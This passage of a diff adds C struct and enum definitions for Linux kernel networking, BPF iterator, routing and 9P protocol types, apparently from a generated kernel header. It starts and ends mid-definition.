nh_ifindex; + struct net_device *dev; + union { + __be32 ipv4; + struct in6_addr ipv6; + } gw; + struct nlattr *nh_grp; + u16 nh_grp_type; + u16 nh_grp_res_num_buckets; + long unsigned int nh_grp_res_idle_timer; + long unsigned int nh_grp_res_unbalanced_timer; + bool nh_grp_res_has_num_buckets; + bool nh_grp_res_has_idle_timer; + bool nh_grp_res_has_unbalanced_timer; + struct nlattr *nh_encap; + u16 nh_encap_type; + u32 nlflags; + struct nl_info nlinfo; +}; + +enum nexthop_event_type { + NEXTHOP_EVENT_DEL = 0, + NEXTHOP_EVENT_REPLACE = 1, + NEXTHOP_EVENT_RES_TABLE_PRE_REPLACE = 2, + NEXTHOP_EVENT_BUCKET_REPLACE = 3, +}; + +enum nh_notifier_info_type { + NH_NOTIFIER_INFO_TYPE_SINGLE = 0, + NH_NOTIFIER_INFO_TYPE_GRP = 1, + NH_NOTIFIER_INFO_TYPE_RES_TABLE = 2, + NH_NOTIFIER_INFO_TYPE_RES_BUCKET = 3, +}; + +struct nh_notifier_single_info { + struct net_device *dev; + u8 gw_family; + union { + __be32 ipv4; + struct in6_addr ipv6; + }; + u8 is_reject: 1; + u8 is_fdb: 1; + u8 has_encap: 1; +}; + +struct nh_notifier_grp_entry_info { + u8 weight; + u32 id; + struct nh_notifier_single_info nh; +}; + +struct nh_notifier_grp_info { + u16 num_nh; + bool is_fdb; + struct nh_notifier_grp_entry_info nh_entries[0]; +}; + +struct nh_notifier_res_bucket_info { + u16 bucket_index; + unsigned int idle_timer_ms; + bool force; + struct nh_notifier_single_info old_nh; + struct nh_notifier_single_info new_nh; +}; + +struct nh_notifier_res_table_info { + u16 num_nh_buckets; + struct nh_notifier_single_info nhs[0]; +}; + +struct nh_notifier_info { + struct net *net; + struct netlink_ext_ack *extack; + u32 id; + enum nh_notifier_info_type type; + union { + struct nh_notifier_single_info *nh; + struct nh_notifier_grp_info *nh_grp; + struct nh_notifier_res_table_info *nh_res_table; + struct nh_notifier_res_bucket_info *nh_res_bucket; + }; +}; + +struct nh_dump_filter { + u32 nh_id; + int dev_idx; + int master_idx; + bool group_filter; + bool fdb_filter; + u32 res_bucket_nh_id; +}; + +struct rtm_dump_nh_ctx { + u32 idx; +}; + +struct rtm_dump_res_bucket_ctx { + struct rtm_dump_nh_ctx nh; + u16 bucket_index; + u32 done_nh_idx; +}; + +struct rtm_dump_nexthop_bucket_data { + struct rtm_dump_res_bucket_ctx *ctx; + struct nh_dump_filter filter; +}; + +enum sock_flags { + SOCK_DEAD = 0, + SOCK_DONE = 1, + SOCK_URGINLINE = 2, + SOCK_KEEPOPEN = 3, + SOCK_LINGER = 4, + SOCK_DESTROY = 5, + SOCK_BROADCAST = 6, + SOCK_TIMESTAMP = 7, + SOCK_ZAPPED = 8, + SOCK_USE_WRITE_QUEUE = 9, + SOCK_DBG = 10, + SOCK_RCVTSTAMP = 11, + SOCK_RCVTSTAMPNS = 12, + SOCK_LOCALROUTE = 13, + SOCK_MEMALLOC = 14, + SOCK_TIMESTAMPING_RX_SOFTWARE = 15, + SOCK_FASYNC = 16, + SOCK_RXQ_OVFL = 17, + SOCK_ZEROCOPY = 18, + SOCK_WIFI_STATUS = 19, + SOCK_NOFCS = 20, + SOCK_FILTER_LOCKED = 21, + SOCK_SELECT_ERR_QUEUE = 22, + SOCK_RCU_FREE = 23, + SOCK_TXTIME = 24, + SOCK_XDP = 25, + SOCK_TSTAMP_NEW = 26, + SOCK_RCVMARK = 27, +}; + +struct sk_psock_progs { + struct bpf_prog *msg_parser; + struct bpf_prog *stream_parser; + struct bpf_prog *stream_verdict; + struct bpf_prog *skb_verdict; +}; + +struct strp_stats { + long long unsigned int msgs; + long long unsigned int bytes; + unsigned int mem_fail; + unsigned int need_more_hdr; + unsigned int msg_too_big; + unsigned int msg_timeouts; + unsigned int bad_hdr_len; +}; + +struct strparser; + +struct strp_callbacks { + int (*parse_msg)(struct strparser *, struct sk_buff *); + void (*rcv_msg)(struct strparser *, struct sk_buff *); + int (*read_sock_done)(struct strparser *, int); + void (*abort_parser)(struct strparser *, int); + void (*lock)(struct strparser *); + void (*unlock)(struct strparser *); +}; + +struct strparser { + struct sock *sk; + u32 stopped: 1; + u32 paused: 1; + u32 aborted: 1; + u32 interrupted: 1; + u32 unrecov_intr: 1; + struct sk_buff **skb_nextp; + struct sk_buff *skb_head; + unsigned int need_bytes; + struct delayed_work msg_timer_work; + struct work_struct work; + struct strp_stats stats; + struct strp_callbacks cb; +}; + +struct sk_psock_work_state { + struct sk_buff *skb; + u32 len; + u32 off; +}; + +struct sk_msg; + +struct sk_psock { + struct sock *sk; + struct sock *sk_redir; + u32 apply_bytes; + u32 cork_bytes; + u32 eval; + bool redir_ingress; + struct sk_msg *cork; + struct sk_psock_progs progs; + struct strparser strp; + struct sk_buff_head ingress_skb; + struct list_head ingress_msg; + spinlock_t ingress_lock; + long unsigned int state; + struct list_head link; + spinlock_t link_lock; + refcount_t refcnt; + void (*saved_unhash)(struct sock *); + void (*saved_destroy)(struct sock *); + void (*saved_close)(struct sock *, long int); + void (*saved_write_space)(struct sock *); + void (*saved_data_ready)(struct sock *); + int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); + struct proto *sk_proto; + struct mutex work_mutex; + struct sk_psock_work_state work_state; + struct work_struct work; + struct rcu_work rwork; +}; + +struct ip_options_rcu { + struct callback_head rcu; + struct ip_options opt; +}; + +struct ipv6_rt_hdr; + +struct ipv6_txoptions { + refcount_t refcnt; + int tot_len; + __u16 opt_flen; + __u16 opt_nflen; + struct ipv6_opt_hdr *hopopt; + struct ipv6_opt_hdr *dst0opt; + struct ipv6_rt_hdr *srcrt; + struct ipv6_opt_hdr *dst1opt; + struct callback_head rcu; +}; + +struct inet_cork { + unsigned int flags; + __be32 addr; + struct ip_options *opt; + unsigned int fragsize; + int length; + struct dst_entry *dst; + u8 tx_flags; + __u8 ttl; + __s16 tos; + char priority; + __u16 gso_size; + u64 transmit_time; + u32 mark; +}; + +struct inet_cork_full { + struct inet_cork base; + struct flowi fl; +}; + +struct ipv6_pinfo; + +struct ip_mc_socklist; + +struct inet_sock { + struct sock sk; + struct ipv6_pinfo *pinet6; + __be32 inet_saddr; + __s16 uc_ttl; + __u16 cmsg_flags; + struct ip_options_rcu *inet_opt; + __be16 inet_sport; + __u16 inet_id; + __u8 tos; + __u8 min_ttl; + __u8 mc_ttl; + __u8 pmtudisc; + __u8 recverr: 1; + __u8 is_icsk: 1; + __u8 freebind: 1; + __u8 hdrincl: 1; + __u8 mc_loop: 1; + __u8 transparent: 1; + __u8 mc_all: 1; + __u8 nodefrag: 1; + __u8 bind_address_no_port: 1; + __u8 recverr_rfc4884: 1; + __u8 defer_connect: 1; + __u8 rcv_tos; + __u8 convert_csum; + int uc_index; + int mc_index; + __be32 mc_addr; + struct ip_mc_socklist *mc_list; + struct inet_cork_full cork; + struct { + __u16 lo; + __u16 hi; + } local_port_range; +}; + +struct in6_pktinfo { + struct in6_addr ipi6_addr; + int ipi6_ifindex; +}; + +struct inet6_cork { + struct ipv6_txoptions *opt; + u8 hop_limit; + u8 tclass; +}; + +struct ipv6_mc_socklist; + +struct ipv6_ac_socklist; + +struct ipv6_fl_socklist; + +struct ipv6_pinfo { + struct in6_addr saddr; + struct in6_pktinfo sticky_pktinfo; + const struct in6_addr *daddr_cache; + const struct in6_addr *saddr_cache; + __be32 flow_label; + __u32 frag_size; + __u16 __unused_1: 7; + __s16 hop_limit: 9; + __u16 mc_loop: 1; + __u16 __unused_2: 6; + __s16 mcast_hops: 9; + int ucast_oif; + int mcast_oif; + union { + struct { + __u16 srcrt: 1; + __u16 osrcrt: 1; + __u16 rxinfo: 1; + __u16 rxoinfo: 1; + __u16 rxhlim: 1; + __u16 rxohlim: 1; + __u16 hopopts: 1; + __u16 ohopopts: 1; + __u16 dstopts: 1; + __u16 odstopts: 1; + __u16 rxflow: 1; + __u16 rxtclass: 1; + __u16 rxpmtu: 1; + __u16 rxorigdstaddr: 1; + __u16 recvfragsize: 1; + } bits; + __u16 all; + } rxopt; + __u16 recverr: 1; + __u16 sndflow: 1; + __u16 repflow: 1; + __u16 pmtudisc: 3; + __u16 padding: 1; + __u16 srcprefs: 3; + __u16 dontfrag: 1; + __u16 autoflowlabel: 1; + __u16 autoflowlabel_set: 1; + __u16 mc_all: 1; + __u16 recverr_rfc4884: 1; + __u16 rtalert_isolate: 1; + __u8 min_hopcount; + __u8 tclass; + __be32 rcv_flowinfo; + __u32 dst_cookie; + struct ipv6_mc_socklist *ipv6_mc_list; + struct ipv6_ac_socklist *ipv6_ac_list; + struct ipv6_fl_socklist *ipv6_fl_list; + struct ipv6_txoptions *opt; + struct sk_buff *pktoptions; + struct sk_buff *rxpmtu; + struct inet6_cork cork; +}; + +struct ipv6_rt_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; +}; + +struct udp_sock { + struct inet_sock inet; + int pending; + unsigned int corkflag; + __u8 encap_type; + unsigned char no_check6_tx: 1; + unsigned char no_check6_rx: 1; + unsigned char encap_enabled: 1; + unsigned char gro_enabled: 1; + unsigned char accept_udp_l4: 1; + unsigned char accept_udp_fraglist: 1; + __u16 len; + __u16 gso_size; + __u16 pcslen; + __u16 pcrlen; + __u8 pcflag; + __u8 unused[3]; + int (*encap_rcv)(struct sock *, struct sk_buff *); + void (*encap_err_rcv)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); + int (*encap_err_lookup)(struct sock *, struct sk_buff *); + void (*encap_destroy)(struct sock *); + struct sk_buff * (*gro_receive)(struct sock *, struct list_head *, struct sk_buff *); + int (*gro_complete)(struct sock *, struct sk_buff *, int); + long: 64; + long: 64; + long: 64; + long: 64; + struct sk_buff_head reader_queue; + int forward_deficit; + int forward_threshold; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ip6_sf_socklist; + +struct ipv6_mc_socklist { + struct in6_addr addr; + int ifindex; + unsigned int sfmode; + struct ipv6_mc_socklist *next; + struct ip6_sf_socklist *sflist; + struct callback_head rcu; +}; + +struct ipv6_ac_socklist { + struct in6_addr acl_addr; + int acl_ifindex; + struct ipv6_ac_socklist *acl_next; +}; + +struct ip6_flowlabel; + +struct ipv6_fl_socklist { + struct ipv6_fl_socklist *next; + struct ip6_flowlabel *fl; + struct callback_head rcu; +}; + +struct ip6_sf_socklist { + unsigned int sl_max; + unsigned int sl_count; + struct callback_head rcu; + struct in6_addr sl_addr[0]; +}; + +struct ip6_flowlabel { + struct ip6_flowlabel *next; + __be32 label; + atomic_t users; + struct in6_addr dst; + struct ipv6_txoptions *opt; + long unsigned int linger; + struct callback_head rcu; + u8 share; + union { + struct pid *pid; + kuid_t uid; + } owner; + long unsigned int lastuse; + long unsigned int expires; + struct net *fl_net; +}; + +struct sk_msg_sg { + u32 start; + u32 curr; + u32 end; + u32 size; + u32 copybreak; + long unsigned int copy[1]; + struct scatterlist data[19]; +}; + +struct sk_msg { + struct sk_msg_sg sg; + void *data; + void *data_end; + u32 apply_bytes; + u32 cork_bytes; + u32 flags; + struct sk_buff *skb; + struct sock *sk_redir; + struct sock *sk; + struct list_head list; +}; + +enum { + UDP_BPF_IPV4 = 0, + UDP_BPF_IPV6 = 1, + UDP_BPF_NUM_PROTS = 2, +}; + +struct rhltable { + struct rhashtable ht; +}; + +struct mr_table_ops { + const struct rhashtable_params *rht_params; + void *cmparg_any; +}; + +struct vif_device { + struct net_device *dev; + netdevice_tracker dev_tracker; + long unsigned int bytes_in; + long unsigned int bytes_out; + long unsigned int pkt_in; + long unsigned int pkt_out; + long unsigned int rate_limit; + unsigned char threshold; + short unsigned int flags; + int link; + struct netdev_phys_item_id dev_parent_id; + __be32 local; + __be32 remote; +}; + +struct mr_table { + struct list_head list; + possible_net_t net; + struct mr_table_ops ops; + u32 id; + struct sock *mroute_sk; + struct timer_list ipmr_expire_timer; + struct list_head mfc_unres_queue; + struct vif_device vif_table[32]; + struct rhltable mfc_hash; + struct list_head mfc_cache_list; + int maxvif; + atomic_t cache_resolve_queue_len; + bool mroute_do_assert; + bool mroute_do_pim; + bool mroute_do_wrvifwhole; + int mroute_reg_vif_num; +}; + +struct flow_dissector_key_control { + u16 thoff; + u16 addr_type; + u32 flags; +}; + +struct flow_dissector_key_basic { + __be16 n_proto; + u8 ip_proto; + u8 padding; +}; + +struct flow_dissector_key_tags { + u32 flow_label; +}; + +struct flow_dissector_key_vlan { + union { + struct { + u16 vlan_id: 12; + u16 vlan_dei: 1; + u16 vlan_priority: 3; + }; + __be16 vlan_tci; + }; + __be16 vlan_tpid; + __be16 vlan_eth_type; + u16 padding; +}; + +struct flow_dissector_key_keyid { + __be32 keyid; +}; + +struct flow_dissector_key_ipv4_addrs { + __be32 src; + __be32 dst; +}; + +struct flow_dissector_key_ipv6_addrs { + struct in6_addr src; + struct in6_addr dst; +}; + +struct flow_dissector_key_tipc { + __be32 key; +}; + +struct flow_dissector_key_addrs { + union { + struct flow_dissector_key_ipv4_addrs v4addrs; + struct flow_dissector_key_ipv6_addrs v6addrs; + struct flow_dissector_key_tipc tipckey; + }; +}; + +struct flow_dissector_key_ports { + union { + __be32 ports; + struct { + __be16 src; + __be16 dst; + }; + }; +}; + +struct flow_dissector_key_icmp { + struct { + u8 type; + u8 code; + }; + u16 id; +}; + +struct flow_keys { + struct flow_dissector_key_control control; + struct flow_dissector_key_basic basic; + struct flow_dissector_key_tags tags; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_vlan cvlan; + struct flow_dissector_key_keyid keyid; + struct flow_dissector_key_ports ports; + struct flow_dissector_key_icmp icmp; + struct flow_dissector_key_addrs addrs; + long: 0; +}; + +struct rtmsg { + unsigned char rtm_family; + unsigned char rtm_dst_len; + unsigned char rtm_src_len; + unsigned char rtm_tos; + unsigned char rtm_table; + unsigned char rtm_protocol; + unsigned char rtm_scope; + unsigned char rtm_type; + unsigned int rtm_flags; +}; + +enum rtattr_type_t { + RTA_UNSPEC = 0, + RTA_DST = 1, + RTA_SRC = 2, + RTA_IIF = 3, + RTA_OIF = 4, + RTA_GATEWAY = 5, + RTA_PRIORITY = 6, + RTA_PREFSRC = 7, + RTA_METRICS = 8, + RTA_MULTIPATH = 9, + RTA_PROTOINFO = 10, + RTA_FLOW = 11, + RTA_CACHEINFO = 12, + RTA_SESSION = 13, + RTA_MP_ALGO = 14, + RTA_TABLE = 15, + RTA_MARK = 16, + RTA_MFC_STATS = 17, + RTA_VIA = 18, + RTA_NEWDST = 19, + RTA_PREF = 20, + RTA_ENCAP_TYPE = 21, + RTA_ENCAP = 22, + RTA_EXPIRES = 23, + RTA_PAD = 24, + RTA_UID = 25, + RTA_TTL_PROPAGATE = 26, + RTA_IP_PROTO = 27, + RTA_SPORT = 28, + RTA_DPORT = 29, + RTA_NH_ID = 30, + __RTA_MAX = 31, +}; + +enum rtnl_link_flags { + RTNL_FLAG_DOIT_UNLOCKED = 1, + RTNL_FLAG_BULK_DEL_SUPPORTED = 2, +}; + +struct uncached_list { + spinlock_t lock; + struct list_head head; + struct list_head quarantine; +}; + +enum { + TCPF_ESTABLISHED = 2, + TCPF_SYN_SENT = 4, + TCPF_SYN_RECV = 8, + TCPF_FIN_WAIT1 = 16, + TCPF_FIN_WAIT2 = 32, + TCPF_TIME_WAIT = 64, + TCPF_CLOSE = 128, + TCPF_CLOSE_WAIT = 256, + TCPF_LAST_ACK = 512, + TCPF_LISTEN = 1024, + TCPF_CLOSING = 2048, + TCPF_NEW_SYN_RECV = 4096, +}; + +enum fib_event_type { + FIB_EVENT_ENTRY_REPLACE = 0, + FIB_EVENT_ENTRY_APPEND = 1, + FIB_EVENT_ENTRY_ADD = 2, + FIB_EVENT_ENTRY_DEL = 3, + FIB_EVENT_RULE_ADD = 4, + FIB_EVENT_RULE_DEL = 5, + FIB_EVENT_NH_ADD = 6, + FIB_EVENT_NH_DEL = 7, + FIB_EVENT_VIF_ADD = 8, + FIB_EVENT_VIF_DEL = 9, +}; + +struct inet6_ifaddr { + struct in6_addr addr; + __u32 prefix_len; + __u32 rt_priority; + __u32 valid_lft; + __u32 prefered_lft; + refcount_t refcnt; + spinlock_t lock; + int state; + __u32 flags; + __u8 dad_probes; + __u8 stable_privacy_retry; + __u16 scope; + __u64 dad_nonce; + long unsigned int cstamp; + long unsigned int tstamp; + struct delayed_work dad_work; + struct inet6_dev *idev; + struct fib6_info *rt; + struct hlist_node addr_lst; + struct list_head if_list; + struct list_head if_list_aux; + struct list_head tmp_list; + struct inet6_ifaddr *ifpub; + int regen_count; + bool tokenized; + u8 ifa_proto; + struct callback_head rcu; + struct in6_addr peer_addr; +}; + +struct fib_dump_filter { + u32 table_id; + bool filter_set; + bool dump_routes; + bool dump_exceptions; + unsigned char protocol; + unsigned char rt_type; + unsigned int flags; + struct net_device *dev; +}; + +struct in6_rtmsg { + struct in6_addr rtmsg_dst; + struct in6_addr rtmsg_src; + struct in6_addr rtmsg_gateway; + __u32 rtmsg_type; + __u16 rtmsg_dst_len; + __u16 rtmsg_src_len; + __u32 rtmsg_metric; + long unsigned int rtmsg_info; + __u32 rtmsg_flags; + int rtmsg_ifindex; +}; + +union bpf_iter_link_info { + struct { + __u32 map_fd; + } map; + struct { + enum bpf_cgroup_iter_order order; + __u32 cgroup_fd; + __u64 cgroup_id; + } cgroup; + struct { + __u32 tid; + __u32 pid; + __u32 pid_fd; + } task; +}; + +struct bpf_link_info { + __u32 type; + __u32 id; + __u32 prog_id; + union { + struct { + __u64 tp_name; + __u32 tp_name_len; + } raw_tracepoint; + struct { + __u32 attach_type; + __u32 target_obj_id; + __u32 target_btf_id; + } tracing; + struct { + __u64 cgroup_id; + __u32 attach_type; + } cgroup; + struct { + __u64 target_name; + __u32 target_name_len; + union { + struct { + __u32 map_id; + } map; + }; + union { + struct { + __u64 cgroup_id; + __u32 order; + } cgroup; + struct { + __u32 tid; + __u32 pid; + } task; + }; + } iter; + struct { + __u32 netns_ino; + __u32 attach_type; + } netns; + struct { + __u32 ifindex; + } xdp; + struct { + __u32 map_id; + } struct_ops; + struct { + __u32 pf; + __u32 hooknum; + __s32 priority; + __u32 flags; + } netfilter; + }; +}; + +struct fib6_gc_args { + int timeout; + int more; +}; + +struct rt6_exception { + struct hlist_node hlist; + struct rt6_info *rt6i; + long unsigned int stamp; + struct callback_head rcu; +}; + +enum lwtunnel_encap_types { + LWTUNNEL_ENCAP_NONE = 0, + LWTUNNEL_ENCAP_MPLS = 1, + LWTUNNEL_ENCAP_IP = 2, + LWTUNNEL_ENCAP_ILA = 3, + LWTUNNEL_ENCAP_IP6 = 4, + LWTUNNEL_ENCAP_SEG6 = 5, + LWTUNNEL_ENCAP_BPF = 6, + LWTUNNEL_ENCAP_SEG6_LOCAL = 7, + LWTUNNEL_ENCAP_RPL = 8, + LWTUNNEL_ENCAP_IOAM6 = 9, + LWTUNNEL_ENCAP_XFRM = 10, + __LWTUNNEL_ENCAP_MAX = 11, +}; + +struct rd_msg { + struct icmp6hdr icmph; + struct in6_addr target; + struct in6_addr dest; + __u8 opt[0]; +}; + +struct route_info { + __u8 type; + __u8 length; + __u8 prefix_len; + __u8 reserved_l: 3; + __u8 route_pref: 2; + __u8 reserved_h: 3; + __be32 lifetime; + __u8 prefix[0]; +}; + +struct rt6_rtnl_dump_arg { + struct sk_buff *skb; + struct netlink_callback *cb; + struct net *net; + struct fib_dump_filter filter; +}; + +typedef int (*bpf_iter_attach_target_t)(struct bpf_prog *, union bpf_iter_link_info *, struct bpf_iter_aux_info *); + +typedef void (*bpf_iter_detach_target_t)(struct bpf_iter_aux_info *); + +typedef void (*bpf_iter_show_fdinfo_t)(const struct bpf_iter_aux_info *, struct seq_file *); + +typedef int (*bpf_iter_fill_link_info_t)(const struct bpf_iter_aux_info *, struct bpf_link_info *); + +typedef const struct bpf_func_proto * (*bpf_iter_get_func_proto_t)(enum bpf_func_id, const struct bpf_prog *); + +struct bpf_iter_reg { + const char *target; + bpf_iter_attach_target_t attach_target; + bpf_iter_detach_target_t detach_target; + bpf_iter_show_fdinfo_t show_fdinfo; + bpf_iter_fill_link_info_t fill_link_info; + bpf_iter_get_func_proto_t get_func_proto; + u32 ctx_arg_info_size; + u32 feature; + struct bpf_ctx_arg_aux ctx_arg_info[2]; + const struct bpf_iter_seq_info *seq_info; +}; + +struct ip_tunnel_key { + __be64 tun_id; + union { + struct { + __be32 src; + __be32 dst; + } ipv4; + struct { + struct in6_addr src; + struct in6_addr dst; + } ipv6; + } u; + __be16 tun_flags; + u8 tos; + u8 ttl; + __be32 label; + __be16 tp_src; + __be16 tp_dst; + __u8 flow_flags; +}; + +struct dst_cache_pcpu; + +struct dst_cache { + struct dst_cache_pcpu *cache; + long unsigned int reset_ts; +}; + +struct ip_tunnel_info { + struct ip_tunnel_key key; + struct ip_tunnel_encap encap; + struct dst_cache dst_cache; + u8 options_len; + u8 mode; +}; + +typedef u64 sci_t; + +enum metadata_type { + METADATA_IP_TUNNEL = 0, + METADATA_HW_PORT_MUX = 1, + METADATA_MACSEC = 2, + METADATA_XFRM = 3, +}; + +struct hw_port_info { + struct net_device *lower_dev; + u32 port_id; +}; + +struct macsec_info { + sci_t sci; +}; + +struct xfrm_md_info { + u32 if_id; + int link; + struct dst_entry *dst_orig; +}; + +struct metadata_dst { + struct dst_entry dst; + enum metadata_type type; + union { + struct ip_tunnel_info tun_info; + struct hw_port_info port_info; + struct macsec_info macsec_info; + struct xfrm_md_info xfrm_info; + } u; +}; + +struct netevent_redirect { + struct dst_entry *old; + struct dst_entry *new; + struct neighbour *neigh; + const void *daddr; +}; + +enum netevent_notif_type { + NETEVENT_NEIGH_UPDATE = 1, + NETEVENT_REDIRECT = 2, + NETEVENT_DELAY_PROBE_TIME_UPDATE = 3, + NETEVENT_IPV4_MPATH_HASH_UPDATE = 4, + NETEVENT_IPV6_MPATH_HASH_UPDATE = 5, + NETEVENT_IPV4_FWD_UPDATE_PRIORITY_UPDATE = 6, +}; + +struct trace_event_raw_fib6_table_lookup { + struct trace_entry ent; + u32 tb_id; + int err; + int oif; + int iif; + __u8 tos; + __u8 scope; + __u8 flags; + __u8 src[16]; + __u8 dst[16]; + u16 sport; + u16 dport; + u8 proto; + u8 rt_type; + char name[16]; + __u8 gw[16]; + char __data[0]; +}; + +struct trace_event_data_offsets_fib6_table_lookup {}; + +typedef void (*btf_trace_fib6_table_lookup)(void *, const struct net *, const struct fib6_result *, struct fib6_table *, const struct flowi6 *); + +enum rt6_nud_state { + RT6_NUD_FAIL_HARD = -3, + RT6_NUD_FAIL_PROBE = -2, + RT6_NUD_FAIL_DO_RR = -1, + RT6_NUD_SUCCEED = 1, +}; + +struct fib6_nh_dm_arg { + struct net *net; + const struct in6_addr *saddr; + int oif; + int flags; + struct fib6_nh *nh; +}; + +struct __rt6_probe_work { + struct work_struct work; + struct in6_addr target; + struct net_device *dev; + netdevice_tracker dev_tracker; +}; + +struct fib6_nh_frl_arg { + u32 flags; + int oif; + int strict; + int *mpri; + bool *do_rr; + struct fib6_nh *nh; +}; + +struct fib6_nh_excptn_arg { + struct rt6_info *rt; + int plen; +}; + +struct fib6_nh_match_arg { + const struct net_device *dev; + const struct in6_addr *gw; + struct fib6_nh *match; +}; + +struct fib6_nh_age_excptn_arg { + struct fib6_gc_args *gc_args; + long unsigned int now; +}; + +struct fib6_nh_rd_arg { + struct fib6_result *res; + struct flowi6 *fl6; + const struct in6_addr *gw; + struct rt6_info **ret; +}; + +struct ip6rd_flowi { + struct flowi6 fl6; + struct in6_addr gateway; +}; + +struct fib6_nh_del_cached_rt_arg { + struct fib6_config *cfg; + struct fib6_info *f6i; +}; + +struct arg_dev_net_ip { + struct net_device *dev; + struct net *net; + struct in6_addr *addr; +}; + +struct arg_netdev_event { + const struct net_device *dev; + union { + unsigned char nh_flags; + long unsigned int event; + }; +}; + +struct rt6_mtu_change_arg { + struct net_device *dev; + unsigned int mtu; + struct fib6_info *f6i; +}; + +struct rt6_nh { + struct fib6_info *fib6_info; + struct fib6_config r_cfg; + struct list_head next; +}; + +struct fib6_nh_exception_dump_walker { + struct rt6_rtnl_dump_arg *dump; + struct fib6_info *rt; + unsigned int flags; + unsigned int skip; + unsigned int count; +}; + +struct mld_msg { + struct icmp6hdr mld_hdr; + struct in6_addr mld_mca; +}; + +typedef s8 int8_t; + +typedef s16 int16_t; + +enum p9_msg_t { + P9_TLERROR = 6, + P9_RLERROR = 7, + P9_TSTATFS = 8, + P9_RSTATFS = 9, + P9_TLOPEN = 12, + P9_RLOPEN = 13, + P9_TLCREATE = 14, + P9_RLCREATE = 15, + P9_TSYMLINK = 16, + P9_RSYMLINK = 17, + P9_TMKNOD = 18, + P9_RMKNOD = 19, + P9_TRENAME = 20, + P9_RRENAME = 21, + P9_TREADLINK = 22, + P9_RREADLINK = 23, + P9_TGETATTR = 24, + P9_RGETATTR = 25, + P9_TSETATTR = 26, + P9_RSETATTR = 27, + P9_TXATTRWALK = 30, + P9_RXATTRWALK = 31, + P9_TXATTRCREATE = 32, + P9_RXATTRCREATE = 33, + P9_TREADDIR = 40, + P9_RREADDIR = 41, + P9_TFSYNC = 50, + P9_RFSYNC = 51, + P9_TLOCK = 52, + P9_RLOCK = 53, + P9_TGETLOCK = 54, + P9_RGETLOCK = 55, + P9_TLINK = 70, + P9_RLINK = 71, + P9_TMKDIR = 72, + P9_RMKDIR = 73, + P9_TRENAMEAT = 74, + P9_RRENAMEAT = 75, + P9_TUNLINKAT = 76, + P9_RUNLINKAT = 77, + P9_TVERSION = 100, + P9_RVERSION = 101, + P9_TAUTH = 102, + P9_RAUTH = 103, + P9_TATTACH = 104, + P9_RATTACH = 105, + P9_TERROR = 106, + P9_RERROR = 107, + P9_TFLUSH = 108, + P9_RFLUSH = 109, + P9_TWALK = 110, + P9_RWALK = 111, + P9_TOPEN = 112, + P9_ROPEN = 113, + P9_TCREATE = 114, + P9_RCREATE = 115, + P9_TREAD = 116, + P9_RREAD = 117, + P9_TWRITE = 118, + P9_RWRITE = 119, + P9_TCLUNK = 120, + P9_RCLUNK = 121, + P9_TREMOVE = 122, + P9_RREMOVE = 123, + P9_TSTAT = 124, + P9_RSTAT = 125, + P9_TWSTAT = 126, + P9_RWSTAT = 127, +}; + +enum p9_open_mode_t { + P9_OREAD = 0, + P9_OWRITE = 1, + P9_ORDWR = 2, + P9_OEXEC = 3, + P9_OTRUNC = 16, + P9_OREXEC = 32, + P9_ORCLOSE = 64, + P9_OAPPEND = 128, + P9_OEXCL = 4096, + P9L_MODE_MASK = 8191, + P9L_DIRECT = 8192, + P9L_NOWRITECACHE = 16384, + P9L_LOOSE = 32768, +}; + +struct p9_wstat { + u16 size; + u16 type; + u32 dev; + struct p9_qid qid; + u32 mode; + u32 atime; + u32 mtime; + u64 length; + const char *name; + const char *uid; + const char *gid; + const char *muid; + char *extension; + kuid_t n_uid; + kgid_t n_gid; + kuid_t n_muid; +}; + +struct p9_stat_dotl { + u64 st_result_mask; + struct p9_qid qid; + u32 st_mode; + kuid_t st_uid; + kgid_t st_gid; + u64 st_nlink; + u64 st_rdev; + u64 st_size; + u64 st_blksize; + u64 st_blocks; + u64 st_atime_sec; + u64 st_atime_nsec; + u64 st_mtime_sec; + u64 st_mtime_nsec; + u64 st_ctime_sec; + u64 st_ctime_nsec; + u64 st_btime_sec; + u64 st_btime_nsec; + u64 st_gen; + u64 st_data_version; +}; + +struct p9_iattr_dotl { + u32 valid; + u32 mode; + kuid_t uid; + kgid_t gid; + u64 size; + u64 atime_sec; + u64 atime_nsec; + u64 mtime_sec; + u64 mtime_nsec; +}; + +struct p9_flock { + u8 type; + u32 flags; + u64 start; + u64 length; + u32 proc_id; + char *client_id; +}; + +struct p9_getlock { + u8 type; + u64 start; + u64 length; + u32 proc_id; + char *client_id; +}; + +struct p9_rstatfs { + u32 type; + u32 bsize; + u64 blocks; + u64 bfree; + u64 bavail; + u64 files; + u64 ffree; + u64 fsid; + u32 namelen; +}; + +struct p9_fcall { + u32 size; + u8 id; + u16 tag; + size_t offset; + size_t capacity; + struct kmem_cache *cache; + u8 *sdata; + bool zc; +}; + +struct match_token { + int token; + const char *pattern; +}; + +enum { + MAX_OPT_ARGS = 3, +}; + +typedef struct { + char *from; + char *to; +} substring_t; + +enum p9_proto_versions { + p9_proto_legacy = 0, + p9_proto_2000u = 1, + p9_proto_2000L = 2, +}; + +enum p9_req_status_t { + REQ_STATUS_ALLOC = 0, + REQ_STATUS_UNSENT = 1, + REQ_STATUS_SENT = 2, + REQ_STATUS_RCVD = 3, + REQ_STATUS_FLSHD = 4, + REQ_STATUS_ERROR = 5, +}; + +struct p9_req_t { + int status; + int t_err; + refcount_t refcount; + wait_queue_head_t wq; + struct p9_fcall tc; + struct p9_fcall rc; + struct list_head req_list; +}; + +struct p9_trans_module { + struct list_head list; + char *name; + int maxsize; + bool pooled_rbuffers; + int def; + struct module *owner; + int (*create)(struct p9_client *, const char *, char *); + void (*close)(struct p9_client *); + int (*request)(struct p9_client *, struct p9_req_t *); + int (*cancel)(struct p9_client *, struct p9_req_t *); + int (*cancelled)(struct p9_client *, struct p9_req_t *); + int (*zc_request)(struct p9_client *, struct p9_req_t *, struct iov_iter *, struct iov_iter *, int, int, int); + int (*show_options)(struct seq_file *, struct p9_client *); +}; + +enum p9_fid_reftype { + P9_FID_REF_CREATE = 0, + P9_FID_REF_GET = 1, + P9_FID_REF_PUT = 2, + P9_FID_REF_DESTROY = 3, +} __attribute__((mode(byte))); + +struct trace_event_raw_9p_client_req { + struct trace_entry ent; + void *clnt; + __u8 type; + __u32 tag; + char __data[0]; +}; + +struct trace_event_raw_9p_client_res { + struct trace_entry ent; + void *clnt; + __u8 type; + __u32 